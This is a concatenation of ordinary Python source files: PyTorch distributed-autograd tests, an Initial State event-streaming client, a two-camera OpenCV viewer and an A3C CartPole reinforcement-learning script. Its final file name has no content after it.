self.assertRaisesRegex(RuntimeError, "Simulate error on backward pass"): dist_autograd.backward(context_id, [loss], retain_graph=True) elif i > 50: # Recovered from error. dist_autograd.backward(context_id, [loss], retain_graph=True) else: dist.barrier() SimulateBackwardError._simulate_error = False dist.barrier() finally: # Sync before resetting flag. dist.barrier() # Reset the flag. SimulateBackwardError._simulate_error = True @dist_init def test_backward_verify_hooks(self): t1 = torch.ones((3, 3), requires_grad=True) # Double the gradient. t1.register_hook(lambda grad: grad * 2) t2 = torch.ones((3, 3), requires_grad=True) local_grads = None for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: ret = self._exec_func(exec_mode, torch.matmul, t1, t2) loss = ret.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2 ) local_grads = ret if ret else local_grads @dist_init def test_no_grad_copy(self): ''' Similar to test in test_autograd.py. ''' # create autograd function that saves grad pointer as class static class MyFunc(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp1, inp2): return inp1 + inp2 @staticmethod def backward(ctx, grad): MyFunc.static_grad_ptr = grad.data_ptr() return grad, grad class MyFuncSingleGrad(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp): return inp @staticmethod def backward(ctx, grad): MyFuncSingleGrad.static_grad_ptr = grad.data_ptr() return grad class NonContGradFunc(Function): @staticmethod def forward(ctx, inp1): ctx.size = inp1.size() return torch.tensor([1.]) @staticmethod def backward(ctx, grad): return torch.ones(1).expand(ctx.size) a = torch.randn(5, 6, requires_grad=True) b = torch.randn(5, 6, requires_grad=True) # non-contiguous grad should be copied with dist_autograd.context() as context_id: dist_autograd.backward(context_id, [NonContGradFunc.apply(MyFunc.apply(a, b))]) grads = dist_autograd.get_gradients(context_id) self.assertFalse(grads[a].data_ptr() == MyFunc.static_grad_ptr) self.assertFalse(grads[b].data_ptr() == MyFunc.static_grad_ptr) # test case that should trigger no copy for a with dist_autograd.context() as context_id: dist_autograd.backward(context_id, [MyFuncSingleGrad.apply(a)[1][0]]) grads = dist_autograd.get_gradients(context_id) p_g = MyFuncSingleGrad.static_grad_ptr p_a = grads[a].data_ptr() # Verify there was no clone. self.assertTrue(p_a == p_g) # Test case that should trigger copy for both of a,b. This is # different in the distributed autograd case since we hold # a reference to all grads in a vector until all accumulation is done. with dist_autograd.context() as context_id: dist_autograd.backward(context_id, [MyFunc.apply(a, b)[1][0]]) grads = dist_autograd.get_gradients(context_id) p_g = MyFunc.static_grad_ptr p_a = grads[a].data_ptr() p_b = grads[b].data_ptr() # check a,b uses different grad buffer self.assertFalse(p_a == p_b) # both should be copied. self.assertFalse(grads[a].data_ptr() == MyFunc.static_grad_ptr) self.assertFalse(grads[b].data_ptr() == MyFunc.static_grad_ptr) @dist_init def test_no_grad_copy_sparse(self): # create autograd function that saves grad pointer as class static class MyFunc(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp): return inp @staticmethod def backward(ctx, grad): MyFunc.static_grad_ptr = grad._values().data_ptr() return grad class NonContGradFunc(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp1, inp2): return inp1 + inp2 @staticmethod def backward(ctx, grad): # Create a sparse tensor with non-contigous indices and values # and return as grad. v = torch.rand(1, 3) i = torch.ones(1, 1, dtype=torch.long) nv = v.expand(8, 3) ni = i.expand(1, 8) ngrad = torch.sparse.FloatTensor(ni, nv, torch.Size([10, 3])) NonContGradFunc.static_grad_ptr = ngrad._values().data_ptr() return ngrad, ngrad a = torch.randn(10, 3, requires_grad=True) b = torch.randn(10, 3, requires_grad=True) input = torch.tensor([1, 2, 4, 5, 4, 3, 2, 9]) offsets = torch.tensor([0, 4]) import torch.nn.functional as F # test case that should trigger no copy for a. with dist_autograd.context() as context_id: emb_matrix = MyFunc.apply(a) loss = F.embedding_bag(emb_matrix, input, offsets, sparse=True).sum() dist_autograd.backward(context_id, [loss], retain_graph=True) grads = dist_autograd.get_gradients(context_id) p_g = MyFunc.static_grad_ptr p_a = grads[a]._values().data_ptr() # check a uses the same buffer self.assertTrue(p_a == p_g) # Run backwards multiple times. for i in range(10): dist_autograd.backward(context_id, [loss], retain_graph=True) # non-contiguous indices and value, we should trigger a copy. with dist_autograd.context() as context_id: emb_matrix = NonContGradFunc.apply(a, b) loss = F.embedding_bag(emb_matrix, input, offsets, sparse=True).sum() dist_autograd.backward(context_id, [loss], retain_graph=True) grads = dist_autograd.get_gradients(context_id) p_g = NonContGradFunc.static_grad_ptr p_a = grads[a]._values().data_ptr() p_b = grads[b]._values().data_ptr() # check a,b uses different grad buffer self.assertFalse(p_a == p_b) # Verify we cloned both grads. self.assertFalse(p_a == p_g) self.assertFalse(p_b == p_g) # Run backwards multiple times to verify accumulation. for i in range(10): dist_autograd.backward(context_id, [loss], retain_graph=True) @dist_init def test_grad_copy_sparse_indices_extra_ref(self): # create autograd function that saves grad pointer as class static class MyFunc(Function): static_grad_ptr = None static_grad_indices_ref = None static_grad_values_ref = None @staticmethod def forward(ctx, inp): return inp @staticmethod def backward(ctx, grad): MyFunc.static_grad_ptr = grad._values().data_ptr() # indices() and values() return views, so holding onto # references of them would not increment refcount of indices # and values inside the sparse tensor. MyFunc.static_grad_indices_ref = grad._indices() MyFunc.static_grad_values_ref = grad._values() return grad a = torch.randn(10, 3, requires_grad=True) input = torch.tensor([1, 2, 4, 5, 4, 3, 2, 9]) offsets = torch.tensor([0, 4]) import torch.nn.functional as F with dist_autograd.context() as context_id: emb_matrix = MyFunc.apply(a) loss = F.embedding_bag(emb_matrix, input, offsets, sparse=True).sum() dist_autograd.backward(context_id, [loss], retain_graph=True) grads = dist_autograd.get_gradients(context_id) p_g = MyFunc.static_grad_ptr p_a = grads[a]._values().data_ptr() self.assertIsNotNone(MyFunc.static_grad_indices_ref) self.assertIsNotNone(MyFunc.static_grad_values_ref) # grad would be stolen, since static_grad_indices_ref and # static_grad_values_ref are holding onto views and don't bump the # refcount. self.assertTrue(p_g == p_a) @dist_init def test_post_hooks(self): self.hook_called_times = 0 def post_hook_add_one(output_grads, input_grads): self.hook_called_times += 1 return output_grads def post_hook_add_two(output_grads, input_grads): self.hook_called_times += 2 return output_grads t = torch.rand(10, 10, requires_grad=True) a = t + t # Register post hooks accumulate_grad_0 = a.grad_fn.next_functions[0][0] accumulate_grad_0.register_hook(post_hook_add_one) accumulate_grad_0.register_hook(post_hook_add_two) accumulate_grad_1 = a.grad_fn.next_functions[1][0] accumulate_grad_1.register_hook(post_hook_add_two) with dist_autograd.context() as context_id: loss = a.sum() dist_autograd.backward(context_id, [loss]) self.assertEqual(5, self.hook_called_times) grads = dist_autograd.get_gradients(context_id) self.assertEqual(1, len(grads)) self.assertTrue(t in grads) @staticmethod def _slow_add(t1, t2): time.sleep(1) t3 = t1 + t2 t3.requires_grad = True return t3 @dist_init def test_thread_local_context_id(self): t1 = torch.rand((3, 3)) t2 = torch.rand((3, 3)) t3 = t1 + t2 t3.requires_grad = True t3.sum().backward() dst = worker_name((self.rank + 1) % self.world_size) rref = rpc.remote(dst, DistAutogradTest._slow_add, args=(t1, t2)) with dist_autograd.context() as context_id: loss = rref.to_here().sum() # due to slow add, the continuation of this backward pass will be # invoked by the previous rpc.remote thread which does not have a # valid context_id. So, this can test whether we propagate # thread_local states properly when jumping across threads on the # server side. dist_autograd.backward(context_id, [loss]) self.assertTrue( rpc.rpc_sync( dst, _compare_owner_value, args=(context_id, rref, t3.grad) ) ) class CudaDistAutogradTest(CommonDistAutogradTest): @skip_if_lt_x_gpu(1) @dist_init def test_gpu_simple(self): t1 = torch.rand(3, 3, requires_grad=True, device="cuda:0") t2 = torch.rand(3, 3, requires_grad=True, device="cuda:0") (t1 + t2).sum().backward() with dist_autograd.context() as context_id: t3 = t1 + t2 dist_autograd.backward(context_id, [t3.sum()]) grads = dist_autograd.get_gradients(context_id) self.assertEqual(2, len(grads)) self.assertEqual(t1.grad, grads[t1]) self.assertEqual(t2.grad, grads[t2]) @skip_if_lt_x_gpu(1) @dist_init def test_gpu_to_cpu_continuation(self): t1 = torch.rand(3, 3, requires_grad=True, device="cuda:0") t2 = torch.rand(3, 3, requires_grad=True) # Run a few iterations. for i in range(3): t1.grad = None t2.grad = None # Root is CPU local_grads = None for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC]: with dist_autograd.context() as context_id: t3 = self._exec_func(exec_mode, torch.add, t2, t2) t4 = t3.cuda(0) + t1 t5 = self._exec_func(exec_mode, torch.add, t4.cpu(), t2) t6 = t5.cuda(0) + t4 t7 = self._exec_func(exec_mode, torch.add, t6.cpu(), t5) # Autograd graph consists of CPU -> GPU -> CPU execution. ret = self._verify_backwards( exec_mode, [t7.sum()], context_id, local_grads, t1, t2 ) local_grads = ret if ret else local_grads @skip_if_lt_x_gpu(1) @dist_init def test_gpu_to_cpu_continuation_gpu_root(self): t1 = torch.rand(3, 3, requires_grad=True, device="cuda:0") t2 = torch.rand(3, 3, requires_grad=True) # Run a few iterations. for i in range(3): t1.grad = None t2.grad = None # Root is CPU local_grads = None for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC]: with dist_autograd.context() as context_id: t3 = self._exec_func(exec_mode, torch.add, t2, t2) t4 = t3.cuda(0) + t1 t5 = self._exec_func(exec_mode, torch.add, t4.cpu(), t2) t6 = t5.cuda(0) + t4 # Autograd graph consists of CPU -> GPU -> CPU execution. ret = self._verify_backwards( exec_mode, [t6.sum()], context_id, local_grads, t1, t2 ) local_grads = ret if ret else local_grads class FaultyAgentDistAutogradTest(RpcAgentTestFixture): # Reusing a simplified helper function from DistAutogradTest to ensure # autograd context is successfully cleaned up even when RPCs are failing. def context_cleanup_test_helper(self, rpc_args, func): initialize_pg(self.file_init_method, self.rank, self.world_size) # test that in dist autograd, in the case that tensors communicated over RPC do # NOT require grad, we still cleanup the dist autograd contexts created # on other nodes. This is because the autograd context is still # communicated over RPC even if tensor arguments do not require grad, as # it is possible that the response could. dst_ranks = {rank for rank in range(self.world_size) if rank != self.rank} with dist_autograd.context() as context_id: for dst_rank in dst_ranks: rpc.rpc_sync(worker_name(dst_rank), func, args=rpc_args) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) # the thread's context id should be cleaned up with self.assertRaises(RuntimeError): dist_autograd._retrieve_context(context_id) # Ensure all peers have finished mutating the # `known_context_ids` set. dist.barrier() # check that all contexts have been cleaned up. success = _all_contexts_cleaned_up() self.assertTrue(success) # no faulty_messages defined so this fails all retryable messages - see # faulty_rpc_agent_test_fixture.py for the list of retryable messages. @dist_init def test_context_cleanup_tensor_with_grad(self): t1 = torch.ones(3, 3, requires_grad=True) t2 = torch.zeros(3, 3, requires_grad=True) self.context_cleanup_test_helper(rpc_args=(t1, t2), func=torch.add) @dist_init def test_verify_backend_options(self): self.assertEqual(self.rpc_backend, rpc.backend_registry.BackendType.FAULTY_TENSORPIPE) self.assertEqual(self.rpc_backend_options.num_worker_threads, 8) self.assertEqual(self.rpc_backend_options.num_fail_sends, 3) self.assertEqual(len(self.rpc_backend_options.messages_to_fail), 4) class WrapperModule(nn.Module): def __init__(self, model, device): super().__init__() self.model = model.to(device) def forward(self, *args): return self.model(*args) def gradients(self, ctx_id): grads = dist_autograd.get_gradients(ctx_id) return [grads[p] for p in self.model.parameters()] class TensorPipeCudaDistAutogradTest(RpcAgentTestFixture): @skip_if_lt_x_gpu(4) def test_device_maps_backward_pass(self): options = self.rpc_backend_options dst = worker_name((self.rank + 1) % self.world_size) # The reverse of this device mapping should be used for the backward pass. options.set_device_map(dst, {self.rank: (self.rank + 1) % self.world_size}) rpc.init_rpc( name=worker_name(self.rank), backend=self.rpc_backend, rank=self.rank, world_size=self.world_size, rpc_backend_options=options, ) t1 = torch.rand(10, device=self.rank, requires_grad=True) t2 = torch.rand(10, device=self.rank, requires_grad=True) with dist_autograd.context() as context_id: res = rpc.rpc_sync(dst, torch.add, args=(t1, t2)) dist_autograd.backward(context_id, [res.sum()]) grads = dist_autograd.get_gradients(context_id) self.assertEqual(torch.ones(10), grads[t1]) self.assertEqual(torch.ones(10), grads[t2]) self.assertEqual(t1.device, grads[t1].device) self.assertEqual(t2.device, grads[t2].device) rpc.shutdown() class MyRemoteCompute(torch.nn.Module): def __init__(self): super().__init__() def forward(self, input): input = input * 2.0 return input class MyLocalCompute(torch.nn.Module): def __init__(self, next_stage): super().__init__() self.next_stage = next_stage def forward(self, input): return self.next_stage.rpc_sync().forward(input) @skip_if_lt_x_gpu(4) def test_dist_autograd_sync_streams(self): options = self.rpc_backend_options dst = worker_name((self.rank + 1) % self.world_size) # The reverse of this device mapping should be used for the backward pass. options.set_device_map(dst, {self.rank: (self.rank + 1) % self.world_size}) rpc.init_rpc( name=worker_name(self.rank), backend=self.rpc_backend, rank=self.rank, world_size=self.world_size, rpc_backend_options=options, ) remote_compute = rpc.remote(dst, TensorPipeCudaDistAutogradTest.MyRemoteCompute) local_compute = TensorPipeCudaDistAutogradTest.MyLocalCompute(remote_compute) for _ in range(10): input = torch.rand([1000, 10000], device=self.rank, requires_grad=True) # Run local autograd result = input * 2.0 r = random.random() loss = result.sum() * r loss.backward() # Run distributed autograd with dist_autograd.context() as context_id: result = local_compute(input) loss = result.sum() * r dist_autograd.backward(context_id, [loss]) # Compare grads. grads = dist_autograd.get_gradients(context_id) self.assertEqual(input.grad, grads[input]) rpc.shutdown() @skip_if_lt_x_gpu(4) def test_gradients_synchronizations(self): options = self.rpc_backend_options for peer_rank in range(self.world_size): options.set_device_map(worker_name(peer_rank), {self.rank: peer_rank}) rpc.init_rpc( name=worker_name(self.rank), backend=self.rpc_backend, rank=self.rank, world_size=self.world_size, rpc_backend_options=options, ) if self.rank == 0: # this is master layers = [nn.Linear(2000, 2000) for _ in range(self.world_size - 1)] local_layers = [l.to(0) for l in layers] remote_layers = [] for rank in range(1, self.world_size): remote_layers.append(rpc.remote( worker_name(rank), WrapperModule, args=(layers[rank - 1], rank) )) x = torch.randn(5000, 2000).to(0) # local iteration local_model = nn.Sequential(*local_layers) local_model(x).sum().backward() # remote iteration with dist_autograd.context() as context_id: for remote_layer in remote_layers: x = remote_layer.rpc_sync().forward(x) dist_autograd.backward(context_id, [x.sum()]) futs = [] for remote_layer in remote_layers: futs.append(remote_layer.rpc_async().gradients(context_id)) for i in range(len(futs)): local_gradients = [p.grad for p in local_layers[i].parameters()] for g1, g2 in zip(futs[i].wait(), local_gradients): self.assertEqual(g1, g2) rpc.shutdown()
Streamer.py
# local config helper stuff try: import ISStreamer.configutil as configutil except ImportError: import configutil try: import ISStreamer.version as version except ImportError: import version import uuid # python 2 and 3 conversion support import sys if (sys.version_info < (2,7,0)): sys.stderr.write("You need at least python 2.7.0 to use the ISStreamer") exit(1) elif (sys.version_info >= (3,0)): import http.client as httplib else: import httplib import json # time stuff import datetime import time # performance stuff import threading import collections import csv class Streamer: BucketName = "" AccessKey = "" Channel = "" BufferSize = 10 StreamApiBase = "" LogQueue = None DebugLevel = 0 BucketKey = "" IsClosed = True Offline = False Async = True LocalFile = None ApiVersion = '<=0.0.4' MissedEvents = None def __init__(self, bucket_name="", bucket_key="", access_key="", ini_file_location=None, debug_level=0, buffer_size=10, offline=None, async=True): config = configutil.getConfig(ini_file_location) if (offline != None): self.Offline = offline else: if (config["offline_mode"] == "false"): self.Offline = False else: self.Offline = True self.Async = async if (self.Offline): try: file_location = "{}.csv".format(config["offline_file"]) self.LocalFileHandler = open(file_location, 'w') self.LocalFile = csv.writer(self.LocalFileHandler) except: print("There was an issue opening the file (nees more description)") if (config == None and bucket_name=="" and access_key == ""): raise Exception("config not found and arguments empty") if (bucket_name == ""): bucket_name = config["bucket"] else: bucket_name = bucket_name if (access_key == ""): self.AccessKey = config["access_key"] else: self.AccessKey = access_key #self.LogQueue = Queue.Queue(self.BufferSize) self.BucketKey = bucket_key self.BufferSize = buffer_size self.LogQueue = collections.deque() self.StreamApiBase = config["stream_api_base"] self.set_bucket(bucket_name, bucket_key) self.DebugLevel = debug_level self.IsClosed = False self.console_message("access_key: {accessKey}".format(accessKey=self.AccessKey)) self.console_message("stream_api_base: {api}".format(api=self.StreamApiBase)) def ship_to_api(self, resource, contents): api_base = self.StreamApiBase headers = { 'Content-Type': 'application/json', 'User-Agent': 'PyStreamer v' + version.__version__, 'Accept-Version': self.ApiVersion, 'X-IS-AccessKey': self.AccessKey, 'X-IS-BucketKey': self.BucketKey } def __ship(retry_attempts, wait=0): conn = None response = None if (self.StreamApiBase.startswith('https://')): api_base = self.StreamApiBase[8:] self.console_message("ship {resource}: stream api base domain: {domain}".format(domain=api_base, resource=resource), level=2) conn = httplib.HTTPSConnection(api_base, timeout=120) else: api_base = self.StreamApiBase[7:] self.console_message("ship {resource}: stream api base domain: {domain}".format(domain=api_base, resource=resource), level=2) conn = httplib.HTTPConnection(api_base, timeout=120) retry_attempts = retry_attempts - 1 if (retry_attempts < 0): if (self.DebugLevel >= 2): raise Exception("shipping failed.. network issue?") else: self.console_message("ship: ISStreamer failed to ship after a number of attempts.", level=0) if (self.MissedEvents == None): self.MissedEvents = open("err_missed_events.txt", 'w+') if (self.MissedEvents != None): self.MissedEvents.write("{}\n".format(json.dumps(contents))) return try: if (wait > 0): self.console_message("ship-debug: pausing thread for {wait} seconds".format(wait=wait)) time.sleep(wait) conn.request('POST', resource, json.dumps(contents), headers) response = conn.getresponse() if (response.status >= 200 and response.status < 300): self.console_message("ship: status: " + str(response.status) + "\nheaders: " + str(response.msg), level=2) self.console_message("ship: body: " + str(response.read()), level=3) elif (response.status == 401 or response.status == 403): self.console_message("ERROR: unauthorized access_key: " + self.AccessKey) elif (response.status == 402): self.console_message("AccessKey exceeded limit for month, check account at https://app.initialstate.com/#/account") raise Exception("PAYMENT_REQUIRED") elif (response.status == 429): if "Retry-After" in response.msg: retry_after = response.msg["Retry-After"] self.console_message("Request limit exceeded, wait {limit} seconds before trying again".format(limit=retry_after)) __ship(retry_attempts, int(retry_after)+1) else: self.console_message("Request limit exceeded") else: self.console_message("ship: failed on attempt {atmpt} (StatusCode: {sc}; Reason: {r})".format(sc=response.status, r=response.reason, atmpt=retry_attempts)) raise Exception("ship exception") except Exception as ex: if (len(ex.args) > 0 and ex.args[0] == "PAYMENT_REQUIRED"): raise Exception("Either account is capped or an upgrade is required.") self.console_message("ship: exception shipping on attempt {atmpt}.".format(atmpt=retry_attempts)) #self.console_message(ex, level=2) raise ex __ship(retry_attempts, 1) __ship(3) def set_bucket(self, bucket_name="", bucket_key="", retries=3): def __create_bucket(new_bucket_name, new_bucket_key, access_key): self.ship_to_api("/api/buckets", {'bucketKey': new_bucket_key, 'bucketName': new_bucket_name}) if (bucket_key == None or bucket_key == ""): bucket_key = str(uuid.uuid4()) self.BucketKey = bucket_key self.BucketName = bucket_name if (not self.Offline): if (self.Async): t = threading.Thread(target=__create_bucket, args=(bucket_name, bucket_key, self.AccessKey)) t.daemon = False t.start() else: __create_bucket(bucket_name, bucket_key, self.AccessKey) else: self.console_message("Working in offline mode.", level=0) def console_message(self, message, level=1): if (self.DebugLevel >= level): print(message) def ship_messages(self, messages, retries=3): self.ship_to_api("/api/events", messages) def flush(self): if (self.Offline): self.console_message("flush: no need, in offline mode", level=2) return messages = [] self.console_message("flush: checking queue", level=2) isEmpty = False while not isEmpty: try: m = self.LogQueue.popleft() messages.append(m) except IndexError: isEmpty = True self.console_message("flush: queue empty...", level=2) if len(messages) > 0: self.console_message("flush: queue not empty, shipping", level=2) self.ship_messages(messages) self.console_message("flush: finished flushing queue", level=2) def log_object(self, obj, key_prefix=None, epoch=None): if (epoch == None): epoch = time.time() if (key_prefix == None): key_prefix = "{}_".format(str(type(obj).__name__)) elif (key_prefix != None and key_prefix != ""): key_prefix = "{}_".format(key_prefix) else: key_prefix = "" if (type(obj).__name__ == 'list'): i = 0 for val in obj: key_name = "{}{}".format(key_prefix, i) self.log(key_name, val, epoch=epoch) i += 1 elif (type(obj).__name__ == 'dict'): for key in obj: key_name = "{}{}".format(key_prefix, key) self.log(key_name, obj[key], epoch=epoch) else: for attr in dir(obj): if not isinstance(getattr(type(obj), attr, None), property): continue key_name = "{}{}".format(key_prefix, attr) self.log(key_name, getattr(obj, attr), epoch=epoch) def log(self, key, value, epoch=None): def __ship_buffer(): i = self.BufferSize messages = [] while(i > 0): try: m = self.LogQueue.popleft() messages.append(m) except IndexError: i = 0 self.console_message("ship_buffer: queue empty") i = i - 1 self.console_message("ship_buffer: shipping", level=2) self.ship_messages(messages) self.console_message("ship_buffer: finished shipping", level=2) timeStamp = time.time() gmtime = datetime.datetime.fromtimestamp(timeStamp) if epoch != None: try: gmtime = datetime.datetime.fromtimestamp(epoch) timeStamp = epoch except: self.console_message("epoch was overriden with invalid time, using current timstamp instead") formatted_gmTime = gmtime.strftime('%Y-%m-%d %H:%M:%S.%f') self.console_message("{time}: {key} {value}".format(key=key, value=value, time=formatted_gmTime)) if (not self.Offline): if (len(self.LogQueue) >= self.BufferSize): self.console_message("log: queue size approximately at or greater than buffer size, shipping!", level=10) self.console_message("log: async is {async}".format(async=self.Async)) if (self.Async): self.console_message("log: spawning ship thread", level=3) t = threading.Thread(target=__ship_buffer) t.daemon = False t.start() else: __ship_buffer() self.console_message("log: queueing log item", level=2) log_item = { "key": key, "value": value, "epoch": timeStamp } self.LogQueue.append(log_item) else: self.LocalFile.writerow([timeStamp, key, value]) def close(self): self.IsClosed = True self.flush() if (self.MissedEvents != None): self.MissedEvents.close() if (self.Offline): self.console_message("closing local file handler", level=2) self.LocalFileHandler.close() def __del__(self): """Try to close/flush the cache before destruction""" try: if (not self.IsClosed): self.close() except: if (self.DebugLevel >= 2): raise Exception("failed to close the buffer, make sure to explicitly call close() on the Streamer") else: self.console_message("failed to close the buffer, make sure to explicitly call close() on the Streamer", level=1)
calibrate.py
import cv2 import numpy as np import queue #experiment import threading #experiment # bufferless VideoCapture class VideoCapture: def __init__(self, name): self.cap = cv2.VideoCapture(name) # self.cap.set(6, cv2.VideoWriter_fourcc('H', '2', '6', '4')) # for reading raspivid self.q = queue.Queue() t = threading.Thread(target=self._reader) t.daemon = True t.start() # read frames as soon as they are available, keeping only most recent one def _reader(self): while True: ret, frame = self.cap.read() if not ret: break if not self.q.empty(): try: self.q.get_nowait() # discard previous (unprocessed) frame except Queue.Empty: pass self.q.put(frame) def read(self): return self.q.get() # load video streaming cap = VideoCapture("http://192.168.0.125:8080/video") # access IP camera from android phone cap2 = VideoCapture("http://192.168.0.126:8080/video") # access IP camera from android phone while True: # load streams image_np = cap.read() image_np2 = cap2.read() # 1st video stream image_np = cv2.line(image_np, (0,240), (640,240), (0,0,255), 2) # 2nd video stream image_np2 = cv2.line(image_np2, (0,240), (640,240), (0,0,255), 2) # Display output results = np.concatenate((image_np, image_np2), axis=1) cv2.imshow('object detection right', results) if cv2.waitKey(25) & 0xFF == ord('q'): cv2.destroyAllWindows() break
A3C_discrete_action.py
""" Asynchronous Advantage Actor Critic (A3C) with discrete action space, Reinforcement Learning. The Cartpole example. View more on my tutorial page: https://morvanzhou.github.io/tutorials/ Using: tensorflow 1.8.0 gym 0.10.5 """ import multiprocessing import threading import tensorflow.compat.v1 as tf import numpy as np import gym import os import shutil import matplotlib.pyplot as plt GAME = 'CartPole-v0' OUTPUT_GRAPH = True LOG_DIR = './log' N_WORKERS = multiprocessing.cpu_count() MAX_GLOBAL_EP = 1000 GLOBAL_NET_SCOPE = 'Global_Net' UPDATE_GLOBAL_ITER = 10 GAMMA = 0.9 ENTROPY_BETA = 0.001 LR_A = 0.001 # learning rate for actor LR_C = 0.001 # learning rate for critic GLOBAL_RUNNING_R = [] GLOBAL_EP = 0 env = gym.make(GAME) N_S = env.observation_space.shape[0] N_A = env.action_space.n class ACNet(object): def __init__(self, scope, globalAC=None): if scope == GLOBAL_NET_SCOPE: # get global network with tf.variable_scope(scope): self.s = tf.placeholder(tf.float32, [None, N_S], 'S') self.a_params, self.c_params = self._build_net(scope)[-2:] else: # local net, calculate losses with tf.variable_scope(scope): self.s = tf.placeholder(tf.float32, [None, N_S], 'S') self.a_his = tf.placeholder(tf.int32, [None, ], 'A') self.v_target = tf.placeholder(tf.float32, [None, 1], 'Vtarget') self.a_prob, self.v, self.a_params, self.c_params = self._build_net(scope) td = tf.subtract(self.v_target, self.v, name='TD_error') with tf.name_scope('c_loss'): self.c_loss = tf.reduce_mean(tf.square(td)) with tf.name_scope('a_loss'): log_prob = tf.reduce_sum(tf.log(self.a_prob + 1e-5) * tf.one_hot(self.a_his, N_A, dtype=tf.float32), axis=1, keep_dims=True) exp_v = log_prob * tf.stop_gradient(td) entropy = -tf.reduce_sum(self.a_prob * tf.log(self.a_prob + 1e-5), axis=1, keep_dims=True) # encourage exploration self.exp_v = ENTROPY_BETA * entropy + exp_v self.a_loss = tf.reduce_mean(-self.exp_v) with tf.name_scope('local_grad'): self.a_grads = tf.gradients(self.a_loss, self.a_params) self.c_grads = tf.gradients(self.c_loss, self.c_params) with tf.name_scope('sync'): with tf.name_scope('pull'): self.pull_a_params_op = [l_p.assign(g_p) for l_p, g_p in zip(self.a_params, globalAC.a_params)] self.pull_c_params_op = [l_p.assign(g_p) for l_p, g_p in zip(self.c_params, globalAC.c_params)] with tf.name_scope('push'): self.update_a_op = OPT_A.apply_gradients(zip(self.a_grads, globalAC.a_params)) self.update_c_op = OPT_C.apply_gradients(zip(self.c_grads, globalAC.c_params)) def _build_net(self, scope): w_init = tf.random_normal_initializer(0., .1) with tf.variable_scope('actor'): l_a = tf.layers.dense(self.s, 200, tf.nn.relu6, kernel_initializer=w_init, name='la') a_prob = tf.layers.dense(l_a, N_A, tf.nn.softmax, kernel_initializer=w_init, name='ap') with tf.variable_scope('critic'): l_c = tf.layers.dense(self.s, 100, tf.nn.relu6, kernel_initializer=w_init, name='lc') v = tf.layers.dense(l_c, 1, kernel_initializer=w_init, name='v') # state value a_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope + '/actor') c_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope + '/critic') return a_prob, v, a_params, c_params def update_global(self, feed_dict): # run by a local SESS.run([self.update_a_op, self.update_c_op], feed_dict) # local grads applies to global net def pull_global(self): # run by a local SESS.run([self.pull_a_params_op, self.pull_c_params_op]) def choose_action(self, s): # run by a local prob_weights = SESS.run(self.a_prob, feed_dict={self.s: s[np.newaxis, :]}) action = np.random.choice(range(prob_weights.shape[1]), p=prob_weights.ravel()) # select action w.r.t the actions prob return action class Worker(object): def __init__(self, name, globalAC): self.env = gym.make(GAME).unwrapped self.name = name self.AC = ACNet(name, globalAC) def work(self): global GLOBAL_RUNNING_R, GLOBAL_EP total_step = 1 buffer_s, buffer_a, buffer_r = [], [], [] while not COORD.should_stop() and GLOBAL_EP < MAX_GLOBAL_EP: s = self.env.reset() ep_r = 0 while True: # if self.name == 'W_0': # self.env.render() a = self.AC.choose_action(s) s_, r, done, info = self.env.step(a) if done: r = -5 ep_r += r buffer_s.append(s) buffer_a.append(a) buffer_r.append(r) if total_step % UPDATE_GLOBAL_ITER == 0 or done: # update global and assign to local net if done: v_s_ = 0 # terminal else: v_s_ = SESS.run(self.AC.v, {self.AC.s: s_[np.newaxis, :]})[0, 0] buffer_v_target = [] for r in buffer_r[::-1]: # reverse buffer r v_s_ = r + GAMMA * v_s_ buffer_v_target.append(v_s_) buffer_v_target.reverse() buffer_s, buffer_a, buffer_v_target = np.vstack(buffer_s), np.array(buffer_a), np.vstack(buffer_v_target) feed_dict = { self.AC.s: buffer_s, self.AC.a_his: buffer_a, self.AC.v_target: buffer_v_target, } self.AC.update_global(feed_dict) buffer_s, buffer_a, buffer_r = [], [], [] self.AC.pull_global() s = s_ total_step += 1 if done: if len(GLOBAL_RUNNING_R) == 0: # record running episode reward GLOBAL_RUNNING_R.append(ep_r) else: GLOBAL_RUNNING_R.append(0.99 * GLOBAL_RUNNING_R[-1] + 0.01 * ep_r) print( self.name, "Ep:", GLOBAL_EP, "| Ep_r: %i" % GLOBAL_RUNNING_R[-1], ) GLOBAL_EP += 1 break if __name__ == "__main__": SESS = tf.Session() with tf.device("/cpu:0"): OPT_A = tf.train.RMSPropOptimizer(LR_A, name='RMSPropA') OPT_C = tf.train.RMSPropOptimizer(LR_C, name='RMSPropC') GLOBAL_AC = ACNet(GLOBAL_NET_SCOPE) # we only need its params workers = [] # Create worker for i in range(N_WORKERS): i_name = 'W_%i' % i # worker name workers.append(Worker(i_name, GLOBAL_AC)) COORD = tf.train.Coordinator() SESS.run(tf.global_variables_initializer()) if OUTPUT_GRAPH: if os.path.exists(LOG_DIR): shutil.rmtree(LOG_DIR) tf.summary.FileWriter(LOG_DIR, SESS.graph) worker_threads = [] for worker in workers: job = lambda: worker.work() t = threading.Thread(target=job) t.start() worker_threads.append(t) COORD.join(worker_threads) plt.plot(np.arange(len(GLOBAL_RUNNING_R)), GLOBAL_RUNNING_R) plt.xlabel('step') plt.ylabel('Total moving reward') plt.show()
futu_gateway.py
